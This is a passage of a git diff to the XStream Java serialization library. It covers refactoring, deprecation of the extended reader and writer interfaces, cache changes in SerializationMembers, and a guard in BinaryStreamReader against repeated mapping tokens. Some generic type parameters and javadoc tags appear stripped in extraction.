+ */ + public static MemberStore newInstance() { + return new MemberStore<>(false); + } + + /** + * Creates a new synchronized instance of a MemberStore. + * + * @since 1.4.21 + */ + public static MemberStore newSynchronizedInstance() { + return new MemberStore<>(true); + } + + private MemberStore(final boolean synced) { + this.synced = synced; + types = synced ? new ConcurrentHashMap<>() : new HashMap<>(); + } + + /** + * Put an element for a the member of the type into the store. + * + * @param definedIn the type owning the member or null + * @param member the member name + * @param value the value to store + * @return the old stored value for the member or null + * @since 1.4.21 + */ + public Object put(final Class definedIn, final String member, final T value) { + final String className = definedIn == null ? null : definedIn.getName(); + Map store = types.get(className); + if (store == null) { + store = synced ? new ConcurrentHashMap<>() : new HashMap<>(); + types.put(className, store); + } + return store.put(member, value); + } + + /** + * Get the value for a type's member in the store. + * + * @param definedIn the type owning the member or null + * @param member the member name + * @return the stored value for the member or null + * @since 1.4.21 + */ + public T get(final Class definedIn, final String member) { + final String className = definedIn == null ? null : definedIn.getName(); + final Map store = types.get(className); + if (store != null) { + return store.get(member); + } + return null; + } + + /** + * Get the set of types in the store. + * + * @return the set of type names + * @since 1.4.21 + */ + public Set keySet() { + return types.keySet(); + } +} diff --git a/xstream/src/java/com/thoughtworks/xstream/core/util/Pool.java b/xstream/src/java/com/thoughtworks/xstream/core/util/Pool.java index f5d634768..614290f2a 100644 --- a/xstream/src/java/com/thoughtworks/xstream/core/util/Pool.java +++ b/xstream/src/java/com/thoughtworks/xstream/core/util/Pool.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2007, 2014 XStream Committers. + * Copyright (c) 2007, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -37,7 +37,8 @@ public Pool(final int initialPoolSize, final int maxPoolSize, final Factory f this.factory = factory; } - private T[] newArray(final int capacity, final T... t) { + @SafeVarargs + private final T[] newArray(final int capacity, final T... t) { return Arrays.copyOf(t, capacity); } @@ -45,7 +46,6 @@ public T fetchFromPool() { T result; synchronized (this) { if (pool == null) { - @SuppressWarnings("unchecked") final T[] all = newArray(maxPoolSize); pool = all; for (nextAvailable = initialPoolSize; nextAvailable > 0;) { diff --git a/xstream/src/java/com/thoughtworks/xstream/core/util/PresortedMap.java b/xstream/src/java/com/thoughtworks/xstream/core/util/PresortedMap.java index f22678a13..61885006d 100644 --- a/xstream/src/java/com/thoughtworks/xstream/core/util/PresortedMap.java +++ b/xstream/src/java/com/thoughtworks/xstream/core/util/PresortedMap.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2006, 2007, 2010, 2014, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2010, 2014, 2015, 2022 XStream Committers. * All rights reserved. * * Created on 12.10.2010 by Joerg Schaible, extracted from TreeMapConverter. @@ -27,11 +27,11 @@ private static class ArraySet extends ArrayList implements Set { private final Comparator comparator; public PresortedMap() { - this(null, new ArraySet>()); + this(null, new ArraySet<>()); } public PresortedMap(final Comparator comparator) { - this(comparator, new ArraySet>()); + this(comparator, new ArraySet<>()); } private PresortedMap(final Comparator comparator, final PresortedMap.ArraySet> set) { diff --git a/xstream/src/java/com/thoughtworks/xstream/core/util/Primitives.java b/xstream/src/java/com/thoughtworks/xstream/core/util/Primitives.java index 951a54f65..5bb94223a 100644 --- a/xstream/src/java/com/thoughtworks/xstream/core/util/Primitives.java +++ b/xstream/src/java/com/thoughtworks/xstream/core/util/Primitives.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2006, 2007, 2011, 2014, 2015 XStream Committers. + * Copyright (c) 2006, 2007, 2011, 2014, 2015, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -28,12 +28,12 @@ public final class Primitives { static { final Class[][] boxing = new Class[][]{ - {Byte.TYPE, Byte.class}, {Character.TYPE, Character.class}, {Short.TYPE, Short.class}, - {Integer.TYPE, Integer.class}, {Long.TYPE, Long.class}, {Float.TYPE, Float.class}, - {Double.TYPE, Double.class}, {Boolean.TYPE, Boolean.class}, {Void.TYPE, Void.class},}; + {Byte.TYPE, Byte.class}, {Character.TYPE, Character.class}, {Short.TYPE, Short.class}, // + {Integer.TYPE, Integer.class}, {Long.TYPE, Long.class}, {Float.TYPE, Float.class}, // + {Double.TYPE, Double.class}, {Boolean.TYPE, Boolean.class}, {Void.TYPE, Void.class}}; final Character[] representingChars = { - new Character('B'), new Character('C'), new Character('S'), new Character('I'), new Character('J'), - new Character('F'), new Character('D'), new Character('Z'), null}; + Character.valueOf('B'), Character.valueOf('C'), Character.valueOf('S'), Character.valueOf('I'), // + Character.valueOf('J'), Character.valueOf('F'), Character.valueOf('D'), Character.valueOf('Z'), null}; for (int i = 0; i < boxing.length; i++) { final Class primitiveType = boxing[i][0]; final Class boxedType = boxing[i][1]; diff --git a/xstream/src/java/com/thoughtworks/xstream/core/util/QuickWriter.java b/xstream/src/java/com/thoughtworks/xstream/core/util/QuickWriter.java index cb6572883..4a44bd010 100644 --- a/xstream/src/java/com/thoughtworks/xstream/core/util/QuickWriter.java +++ b/xstream/src/java/com/thoughtworks/xstream/core/util/QuickWriter.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2009, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2014, 2023 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 07. March 2004 by Joe Walnes */ package com.thoughtworks.xstream.core.util; @@ -35,7 +35,7 @@ public QuickWriter(final Writer writer, final int bufferSize) { public void write(final String str) { final int len = str.length(); - if (pointer + len >= buffer.length) { + if (pointer + len > buffer.length) { flush(); if (len > buffer.length) { raw(str.toCharArray()); @@ -47,7 +47,7 @@ public void write(final String str) { } public void write(final char c) { - if (pointer + 1 >= buffer.length) { + if (pointer + 1 > buffer.length) { flush(); if (buffer.length == 0) { raw(c); @@ -59,7 +59,7 @@ public void write(final char c) { public void write(final char[] c) { final int len = c.length; - if (pointer + len >= buffer.length) { + if (pointer + len > buffer.length) { flush(); if (len > buffer.length) { raw(c); diff --git a/xstream/src/java/com/thoughtworks/xstream/core/util/SerializationMembers.java b/xstream/src/java/com/thoughtworks/xstream/core/util/SerializationMembers.java index 69e51c83a..5a425589f 100644 --- a/xstream/src/java/com/thoughtworks/xstream/core/util/SerializationMembers.java +++ b/xstream/src/java/com/thoughtworks/xstream/core/util/SerializationMembers.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2010, 2011, 2014, 2015, 2016, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2010, 2011, 2014, 2015, 2016, 2017, 2021, 2024 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -19,9 +19,6 @@ import java.lang.reflect.Method; import java.lang.reflect.Modifier; import java.util.Arrays; -import java.util.Collections; -import java.util.HashMap; -import java.util.Map; import java.util.concurrent.ConcurrentHashMap; import java.util.concurrent.ConcurrentMap; @@ -39,26 +36,26 @@ */ public class SerializationMembers implements Caching { - private static final Method NO_METHOD = new Object() { + private static final class NO_METHOD_MARKER { @SuppressWarnings("unused") private void noMethod() { } - }.getClass().getDeclaredMethods()[0]; - private static final Map NO_FIELDS = Collections.emptyMap(); + } + + private static final Method NO_METHOD = NO_METHOD_MARKER.class.getDeclaredMethods()[0]; + private static final ObjectStreamField[] NO_FIELDS = new ObjectStreamField[0]; private static final int PERSISTENT_FIELDS_MODIFIER = Modifier.PRIVATE | Modifier.STATIC | Modifier.FINAL; - private static final FastField[] OBJECT_TYPE_FIELDS = { - new FastField(Object.class, "readResolve"), new FastField(Object.class, "writeReplace"), new FastField( - Object.class, "readObject"), new FastField(Object.class, "writeObject")}; - private final ConcurrentMap declaredCache = new ConcurrentHashMap<>(); - private final ConcurrentMap resRepCache = new ConcurrentHashMap<>(); - private final ConcurrentMap> fieldCache = new ConcurrentHashMap<>(); + private static final String[] OBJECT_TYPE_FIELDS = {"readResolve", "writeReplace", "readObject", "writeObject"}; + private final MemberStore declaredCache = MemberStore.newSynchronizedInstance(); + private final MemberStore resRepCache = MemberStore.newSynchronizedInstance(); + private final ConcurrentMap fieldCache = new ConcurrentHashMap<>(); { - for (final FastField element : OBJECT_TYPE_FIELDS) { - declaredCache.put(element, NO_METHOD); + for (final String element : OBJECT_TYPE_FIELDS) { + declaredCache.put(Object.class, element, NO_METHOD); } - for (final FastField element : Arrays.copyOf(OBJECT_TYPE_FIELDS, 2)) { - resRepCache.put(element, NO_METHOD); + for (int i = 0; i < 2; ++i) { + resRepCache.put(Object.class, OBJECT_TYPE_FIELDS[i], NO_METHOD); } } @@ -150,6 +147,10 @@ public void callWriteObject(final Class type, final Object instance, final Ob } catch (final IllegalAccessException e) { ex = new ObjectAccessException("Cannot access method", e); } catch (final InvocationTargetException e) { + final Throwable cause = e.getTargetException(); + if (cause instanceof ConversionException) { + throw (ConversionException)cause; + } ex = new ConversionException("Failed calling method", e.getTargetException()); } if (ex != null) { @@ -168,8 +169,7 @@ private Method getMethod(final Class type, final String name, final Class. if (type == null) { return null; } - final FastField method = new FastField(type, name); - Method result = declaredCache.get(method); + Method result = declaredCache.get(type, name); if (result == null) { try { @@ -180,14 +180,13 @@ private Method getMethod(final Class type, final String name, final Class. } catch (final NoSuchMethodException e) { result = getMethod(type.getSuperclass(), name, parameterTypes); } - declaredCache.put(method, result); + declaredCache.put(type, name, result); } return result; } private Method getRRMethod(final Class type, final String name) { - final FastField method = new FastField(type, name); - Method result = resRepCache.get(method); + Method result = resRepCache.get(type, name); if (result == null) { result = getMethod(type, name, true); if (result != null && result.getDeclaringClass() != type) { @@ -200,29 +199,23 @@ private Method getRRMethod(final Class type, final String name) { } else if (result == null) { result = NO_METHOD; } - resRepCache.putIfAbsent(method, result); + resRepCache.put(type, name, result); } return result == NO_METHOD ? null : result; } - public Map getSerializablePersistentFields(final Class type) { + public boolean hasSerializablePersistentFields(final Class type) { if (type == null) { - return null; + return false; } - Map result = fieldCache.get(type.getName()); + ObjectStreamField[] result = fieldCache.get(type.getName()); if (result == null) { ErrorWritingException ex = null; try { final Field field = type.getDeclaredField("serialPersistentFields"); if ((field.getModifiers() & PERSISTENT_FIELDS_MODIFIER) == PERSISTENT_FIELDS_MODIFIER) { field.setAccessible(true); - final ObjectStreamField[] fields = (ObjectStreamField[])field.get(null); - if (fields != null) { - result = new HashMap<>(); - for (final ObjectStreamField f : fields) { - result.put(f.getName(), f); - } - } + result = (ObjectStreamField[])field.get(null); } } catch (final NoSuchFieldException e) { } catch (final IllegalAccessException e) { @@ -237,14 +230,14 @@ public Map getSerializablePersistentFields(final Clas if (result == null) { result = NO_FIELDS; } - fieldCache.putIfAbsent(type.getName(), result); + fieldCache.put(type.getName(), result); } - return result == NO_FIELDS ? null : result; + return result != NO_FIELDS; } @Override public void flushCache() { - declaredCache.keySet().retainAll(Arrays.asList(OBJECT_TYPE_FIELDS)); - resRepCache.keySet().retainAll(Arrays.asList(OBJECT_TYPE_FIELDS)); + declaredCache.keySet().retainAll(Arrays.asList(Object.class.getName())); + resRepCache.keySet().retainAll(Arrays.asList(Object.class.getName())); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/core/util/ThreadSafePropertyEditor.java b/xstream/src/java/com/thoughtworks/xstream/core/util/ThreadSafePropertyEditor.java index 77b63cf58..6d7d1892d 100644 --- a/xstream/src/java/com/thoughtworks/xstream/core/util/ThreadSafePropertyEditor.java +++ b/xstream/src/java/com/thoughtworks/xstream/core/util/ThreadSafePropertyEditor.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2007, 2008, 2014, 2016 XStream Committers. + * Copyright (c) 2007, 2008, 2014, 2016, 2022 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -42,7 +42,7 @@ public ThreadSafePropertyEditor( throw new IllegalArgumentException(type.getName() + " is not a " + PropertyEditor.class.getName()); } editorType = type; - pool = new Pool(initialPoolSize, maxPoolSize, new Pool.Factory() { + pool = new Pool<>(initialPoolSize, maxPoolSize, new Pool.Factory() { @Override public PropertyEditor newInstance() { ErrorWritingException ex = null; diff --git a/xstream/src/java/com/thoughtworks/xstream/core/util/ThreadSafeSimpleDateFormat.java b/xstream/src/java/com/thoughtworks/xstream/core/util/ThreadSafeSimpleDateFormat.java index 0ae5d10a1..981b16850 100644 --- a/xstream/src/java/com/thoughtworks/xstream/core/util/ThreadSafeSimpleDateFormat.java +++ b/xstream/src/java/com/thoughtworks/xstream/core/util/ThreadSafeSimpleDateFormat.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2009, 2011, 2012, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2011, 2012, 2014, 2022 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -51,7 +51,7 @@ public ThreadSafeSimpleDateFormat( final int maxPoolSize, final boolean lenient) { formatString = format; this.timeZone = timeZone; - pool = new Pool(initialPoolSize, maxPoolSize, new Pool.Factory() { + pool = new Pool<>(initialPoolSize, maxPoolSize, new Pool.Factory() { @Override public SimpleDateFormat newInstance() { final SimpleDateFormat dateFormat = new SimpleDateFormat(formatString, locale); diff --git a/xstream/src/java/com/thoughtworks/xstream/core/util/Types.java b/xstream/src/java/com/thoughtworks/xstream/core/util/Types.java index 5168be7a3..ad1c7e4aa 100644 --- a/xstream/src/java/com/thoughtworks/xstream/core/util/Types.java +++ b/xstream/src/java/com/thoughtworks/xstream/core/util/Types.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2015 XStream Committers. + * Copyright (C) 2015, 2024 XStream Committers. * All rights reserved. * * Created on 17. January 2015 by Joerg Schaible @@ -16,10 +16,13 @@ * @since 1.4.8 */ public class Types { - private static final Pattern lambdaPattern = Pattern.compile(".*\\$\\$Lambda\\$[0-9]+/.*"); + private static final Pattern lambdaPattern = Pattern.compile(".*\\$\\$Lambda(?:\\$[0-9]+|)/.*"); public static final boolean isLambdaType(final Class type) { - return type != null && type.isSynthetic() && lambdaPattern.matcher(type.getSimpleName()).matches(); + if (type != null && type.isSynthetic()) { + final String typeName = type.getSimpleName(); + return lambdaPattern.matcher(typeName).matches(); + } + return false; } - } diff --git a/xstream/src/java/com/thoughtworks/xstream/core/util/WeakCache.java b/xstream/src/java/com/thoughtworks/xstream/core/util/WeakCache.java index e88bed8e0..97531646f 100644 --- a/xstream/src/java/com/thoughtworks/xstream/core/util/WeakCache.java +++ b/xstream/src/java/com/thoughtworks/xstream/core/util/WeakCache.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2011, 2013, 2014, 2015 XStream Committers. + * Copyright (C) 2011, 2013, 2014, 2015, 2019, 2022 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -42,7 +42,7 @@ public class WeakCache extends AbstractMap { * @since 1.4 */ public WeakCache() { - this(new WeakHashMap>()); + this(new WeakHashMap<>()); } /** @@ -92,7 +92,7 @@ public Object visit(final Object element) { @Override public int size() { - if (map.size() == 0) { + if (map.isEmpty()) { return 0; } final int i[] = new int[1]; @@ -112,7 +112,7 @@ public Object visit(final Object element) { @Override public Collection values() { final Collection collection = new ArrayList<>(); - if (map.size() != 0) { + if (!map.isEmpty()) { iterate(new Visitor() { @Override @@ -131,7 +131,7 @@ public Object visit(final Object element) { @Override public Set> entrySet() { final Set> set = new HashSet<>(); - if (map.size() != 0) { + if (!map.isEmpty()) { iterate(new Visitor() { @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/core/util/XmlHeaderAwareReader.java b/xstream/src/java/com/thoughtworks/xstream/core/util/XmlHeaderAwareReader.java index 10f820778..2a92d9820 100644 --- a/xstream/src/java/com/thoughtworks/xstream/core/util/XmlHeaderAwareReader.java +++ b/xstream/src/java/com/thoughtworks/xstream/core/util/XmlHeaderAwareReader.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2007, 2008, 2010, 2014, 2015 XStream Committers. + * Copyright (C) 2007, 2008, 2010, 2014, 2015, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -66,7 +66,7 @@ public XmlHeaderAwareReader(final InputStream in) throws UnsupportedEncodingExce private Map getHeader(final PushbackInputStream[] in) throws IOException { final Map header = new HashMap<>(); - header.put(KEY_ENCODING, "utf-8"); + header.put(KEY_ENCODING, "UTF-8"); header.put(KEY_VERSION, "1.0"); int state = STATE_BOM; diff --git a/xstream/src/java/com/thoughtworks/xstream/io/AbstractDriver.java b/xstream/src/java/com/thoughtworks/xstream/io/AbstractDriver.java index 924d36f74..18b588306 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/AbstractDriver.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/AbstractDriver.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2009, 2011, 2014 XStream Committers. + * Copyright (C) 2009, 2011, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -60,6 +60,7 @@ public HierarchicalStreamReader createReader(final URL in) { } } + @SuppressWarnings("resource") @Override public HierarchicalStreamReader createReader(final File in) { try { diff --git a/xstream/src/java/com/thoughtworks/xstream/io/ExtendedHierarchicalStreamReader.java b/xstream/src/java/com/thoughtworks/xstream/io/ExtendedHierarchicalStreamReader.java index 27059fba1..8587bc1d3 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/ExtendedHierarchicalStreamReader.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/ExtendedHierarchicalStreamReader.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2011 XStream Committers. + * Copyright (C) 2011, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -13,14 +13,8 @@ /** * @author Jörg Schaible * @since 1.4.2 + * @deprecated As of 1.4.11, this interface will be merged into parent with version 1.5.0. */ +@Deprecated public interface ExtendedHierarchicalStreamReader extends HierarchicalStreamReader { - - /** - * Peek the name of the next child. In situation where {@link #hasMoreChildren()} returns - * true, peek the tag name of the child. - * - * @since 1.4.2 - */ - String peekNextChild(); } diff --git a/xstream/src/java/com/thoughtworks/xstream/io/ExtendedHierarchicalStreamWriter.java b/xstream/src/java/com/thoughtworks/xstream/io/ExtendedHierarchicalStreamWriter.java index a8ae959e7..7645bde3e 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/ExtendedHierarchicalStreamWriter.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/ExtendedHierarchicalStreamWriter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -13,9 +13,8 @@ /** * @author Paul Hammant + * @deprecated As of 1.4.11, this interface will be merged into parent with version 1.5.0. */ +@Deprecated public interface ExtendedHierarchicalStreamWriter extends HierarchicalStreamWriter { - - void startNode(String name, Class clazz); - } diff --git a/xstream/src/java/com/thoughtworks/xstream/io/ExtendedHierarchicalStreamWriterHelper.java b/xstream/src/java/com/thoughtworks/xstream/io/ExtendedHierarchicalStreamWriterHelper.java index 36a97b4fd..cbed09143 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/ExtendedHierarchicalStreamWriterHelper.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/ExtendedHierarchicalStreamWriterHelper.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -11,12 +11,18 @@ */ package com.thoughtworks.xstream.io; +/** + * @deprecated As of 1.4.11, this helper is no longer required since version 1.5.0. + */ +@Deprecated public class ExtendedHierarchicalStreamWriterHelper { + + /** + * @deprecated As of 1.4.11, with version 1.5.0 use {@link HierarchicalStreamWriter#startNode(String, Class)} + * directly. This helper will be no longer required. + */ + @Deprecated public static void startNode(final HierarchicalStreamWriter writer, final String name, final Class clazz) { - if (writer instanceof ExtendedHierarchicalStreamWriter) { - ((ExtendedHierarchicalStreamWriter)writer).startNode(name, clazz); - } else { - writer.startNode(name); - } + writer.startNode(name, clazz); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/io/HierarchicalStreamReader.java b/xstream/src/java/com/thoughtworks/xstream/io/HierarchicalStreamReader.java index cfb4b97bd..55118ce6b 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/HierarchicalStreamReader.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/HierarchicalStreamReader.java @@ -1,17 +1,16 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2011, 2014, 2016 XStream Committers. + * Copyright (C) 2006, 2007, 2011, 2014, 2016, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 07. March 2004 by Joe Walnes */ package com.thoughtworks.xstream.io; -import java.io.Closeable; import java.util.Iterator; import com.thoughtworks.xstream.converters.ErrorReporter; @@ -21,13 +20,21 @@ /** * @author Joe Walnes */ -public interface HierarchicalStreamReader extends ErrorReporter, Closeable { +public interface HierarchicalStreamReader extends ErrorReporter, AutoCloseable { /** * Does the node have any more children remaining that have not yet been read? */ boolean hasMoreChildren(); + /** + * Peek the name of the next child. In situation where {@link #hasMoreChildren()} returns true, peek the tag name of + * the child. + * + * @since upcoming, was originally added in 1.4.2 to ExtendedHierarchicalStreamReader. + */ + String peekNextChild(); + /** * Select the current child as current node. A call to this function must be balanced with a call to * {@link #moveUp()}. @@ -39,6 +46,15 @@ public interface HierarchicalStreamReader extends ErrorReporter, Closeable { */ void moveUp(); + /** + * Retrieve the current nesting level. The method counts the number of unbalanced calls to {@link #moveDown()} and + * {@link #moveUp()}. + * + * @return the current nesting level + * @since upcoming + */ + int getLevel(); + /** * Get the name of the current node. */ @@ -113,12 +129,12 @@ public interface HierarchicalStreamReader extends ErrorReporter, Closeable { *

    * For example: *

    - * + * *
          * MySpecificReader mySpecificReader = (MySpecificReader)reader; // INCORRECT!
          * mySpecificReader.doSomethingSpecific();
          * 
    - * + * *
          * MySpecificReader mySpecificReader = (MySpecificReader)reader.underlyingReader();  // CORRECT!
          * mySpecificReader.doSomethingSpecific();
    diff --git a/xstream/src/java/com/thoughtworks/xstream/io/HierarchicalStreamWriter.java b/xstream/src/java/com/thoughtworks/xstream/io/HierarchicalStreamWriter.java
    index bd642826b..27a174cbf 100644
    --- a/xstream/src/java/com/thoughtworks/xstream/io/HierarchicalStreamWriter.java
    +++ b/xstream/src/java/com/thoughtworks/xstream/io/HierarchicalStreamWriter.java
    @@ -1,26 +1,28 @@
     /*
      * Copyright (C) 2004, 2005 Joe Walnes.
    - * Copyright (C) 2006, 2007, 2014 XStream Committers.
    + * Copyright (C) 2006, 2007, 2014, 2018 XStream Committers.
      * All rights reserved.
      *
      * The software in this package is published under the terms of the BSD
      * style license a copy of which has been included with this distribution in
      * the LICENSE.txt file.
    - * 
    + *
      * Created on 07. March 2004 by Joe Walnes
      */
     package com.thoughtworks.xstream.io;
     
    -import java.io.Closeable;
    -
    -
     /**
      * @author Joe Walnes
      */
    -public interface HierarchicalStreamWriter extends Closeable {
    +public interface HierarchicalStreamWriter extends AutoCloseable {
     
         void startNode(String name);
     
    +    /**
    +     * @since upcoming, was originally added to ExtendedHierarchicalStreamWriter.
    +     */
    +    void startNode(String name, Class clazz);
    +
         void addAttribute(String name, String value);
     
         /**
    @@ -52,12 +54,12 @@ public interface HierarchicalStreamWriter extends Closeable {
          * 

    * For example: *

    - * + * *
          * MySpecificWriter mySpecificWriter = (MySpecificWriter)writer; // INCORRECT!
          * mySpecificWriter.doSomethingSpecific();
          * 
    - * + * *
          * MySpecificWriter mySpecificWriter = (MySpecificWriter)writer.underlyingWriter();  // CORRECT!
          * mySpecificWriter.doSomethingSpecific();
    diff --git a/xstream/src/java/com/thoughtworks/xstream/io/ReaderWrapper.java b/xstream/src/java/com/thoughtworks/xstream/io/ReaderWrapper.java
    index 3ca152eed..dbcfe8b16 100644
    --- a/xstream/src/java/com/thoughtworks/xstream/io/ReaderWrapper.java
    +++ b/xstream/src/java/com/thoughtworks/xstream/io/ReaderWrapper.java
    @@ -1,6 +1,6 @@
     /*
      * Copyright (C) 2005 Joe Walnes.
    - * Copyright (C) 2006, 2007, 2011, 2014 XStream Committers.
    + * Copyright (C) 2006, 2007, 2011, 2014, 2018 XStream Committers.
      * All rights reserved.
      *
      * The software in this package is published under the terms of the BSD
    @@ -44,6 +44,11 @@ public void moveUp() {
             wrapped.moveUp();
         }
     
    +    @Override
    +    public int getLevel() {
    +        return wrapped.getLevel();
    +    }
    +
         @Override
         public String getNodeName() {
             return wrapped.getNodeName();
    @@ -91,10 +96,7 @@ public void close() {
     
         @Override
         public String peekNextChild() {
    -        if (!(wrapped instanceof ExtendedHierarchicalStreamReader)) {
    -            throw new UnsupportedOperationException("peekNextChild");
    -        }
    -        return ((ExtendedHierarchicalStreamReader)wrapped).peekNextChild();
    +        return wrapped.peekNextChild();
         }
     
         @Override
    diff --git a/xstream/src/java/com/thoughtworks/xstream/io/StatefulWriter.java b/xstream/src/java/com/thoughtworks/xstream/io/StatefulWriter.java
    index 9ec1d4f0d..7892db908 100644
    --- a/xstream/src/java/com/thoughtworks/xstream/io/StatefulWriter.java
    +++ b/xstream/src/java/com/thoughtworks/xstream/io/StatefulWriter.java
    @@ -1,6 +1,6 @@
     /*
      * Copyright (C) 2006 Joe Walnes.
    - * Copyright (C) 2006, 2007, 2014, 2015 XStream Committers.
    + * Copyright (C) 2006, 2007, 2014, 2015, 2022 XStream Committers.
      * All rights reserved.
      *
      * The software in this package is published under the terms of the BSD
    @@ -97,7 +97,7 @@ private void startNodeCommon() {
             }
             state = STATE_NODE_START;
             ++balance;
    -        attributes.push(new HashSet());
    +        attributes.push(new HashSet<>());
         }
     
         @Override
    diff --git a/xstream/src/java/com/thoughtworks/xstream/io/StreamException.java b/xstream/src/java/com/thoughtworks/xstream/io/StreamException.java
    index 4be784438..86535c707 100644
    --- a/xstream/src/java/com/thoughtworks/xstream/io/StreamException.java
    +++ b/xstream/src/java/com/thoughtworks/xstream/io/StreamException.java
    @@ -1,6 +1,6 @@
     /*
      * Copyright (C) 2004, 2006 Joe Walnes.
    - * Copyright (C) 2006, 2007, 2009, 2011 XStream Committers.
    + * Copyright (C) 2006, 2007, 2009, 2011, 2018 XStream Committers.
      * All rights reserved.
      *
      * The software in this package is published under the terms of the BSD
    @@ -14,6 +14,8 @@
     import com.thoughtworks.xstream.XStreamException;
     
     public class StreamException extends XStreamException {
    +    private static final long serialVersionUID = 10300L;
    +
         public StreamException(Throwable e) {
             super(e);
         }
    diff --git a/xstream/src/java/com/thoughtworks/xstream/io/WriterWrapper.java b/xstream/src/java/com/thoughtworks/xstream/io/WriterWrapper.java
    index b97e8f538..985d13af7 100644
    --- a/xstream/src/java/com/thoughtworks/xstream/io/WriterWrapper.java
    +++ b/xstream/src/java/com/thoughtworks/xstream/io/WriterWrapper.java
    @@ -1,6 +1,6 @@
     /*
      * Copyright (C) 2005, 2006 Joe Walnes.
    - * Copyright (C) 2006, 2007, 2014 XStream Committers.
    + * Copyright (C) 2006, 2007, 2014, 2018 XStream Committers.
      * All rights reserved.
      *
      * The software in this package is published under the terms of the BSD
    @@ -31,8 +31,7 @@ public void startNode(final String name) {
     
         @Override
         public void startNode(final String name, final Class clazz) {
    -
    -        ((ExtendedHierarchicalStreamWriter)wrapped).startNode(name, clazz);
    +        wrapped.startNode(name, clazz);
         }
     
         @Override
    diff --git a/xstream/src/java/com/thoughtworks/xstream/io/binary/BinaryStreamReader.java b/xstream/src/java/com/thoughtworks/xstream/io/binary/BinaryStreamReader.java
    index 33d14e868..35ae28dcf 100644
    --- a/xstream/src/java/com/thoughtworks/xstream/io/binary/BinaryStreamReader.java
    +++ b/xstream/src/java/com/thoughtworks/xstream/io/binary/BinaryStreamReader.java
    @@ -1,6 +1,6 @@
     /*
      * Copyright (C) 2006 Joe Walnes.
    - * Copyright (C) 2006, 2007, 2011, 2013, 2014, 2015 XStream Committers.
    + * Copyright (C) 2006, 2007, 2011, 2013, 2014, 2015, 2018, 2024 XStream Committers.
      * All rights reserved.
      *
      * The software in this package is published under the terms of the BSD
    @@ -22,6 +22,7 @@
     import com.thoughtworks.xstream.io.ExtendedHierarchicalStreamReader;
     import com.thoughtworks.xstream.io.HierarchicalStreamReader;
     import com.thoughtworks.xstream.io.StreamException;
    +import com.thoughtworks.xstream.security.InputManipulationException;
     
     
     /**
    @@ -157,17 +158,27 @@ public void moveUp() {
             pushBack(nextToken);
         }
     
    +    @Override
    +    public int getLevel() {
    +        return depthState.getLevel();
    +    }
    +
         private Token readToken() {
             if (pushback == null) {
                 try {
    -                final Token token = tokenFormatter.read(in);
    -                switch (token.getType()) {
    -                case Token.TYPE_MAP_ID_TO_VALUE:
    -                    idRegistry.put(token.getId(), token.getValue());
    -                    return readToken(); // Next one please.
    -                default:
    -                    return token;
    -                }
    +                boolean mapping = false;
    +                do {
    +                    final Token token = tokenFormatter.read(in);
    +                    switch (token.getType()) {
    +                    case Token.TYPE_MAP_ID_TO_VALUE:
    +                        idRegistry.put(token.getId(), token.getValue());
    +                        mapping ^= true;
    +                        continue; // Next one please.
    +                    default:
    +                        return token;
    +                    }
    +                } while (mapping);
    +                throw new InputManipulationException("Binary stream will never have two mapping tokens in sequence");
                 } catch (final IOException e) {
                     throw new StreamException(e);
                 }
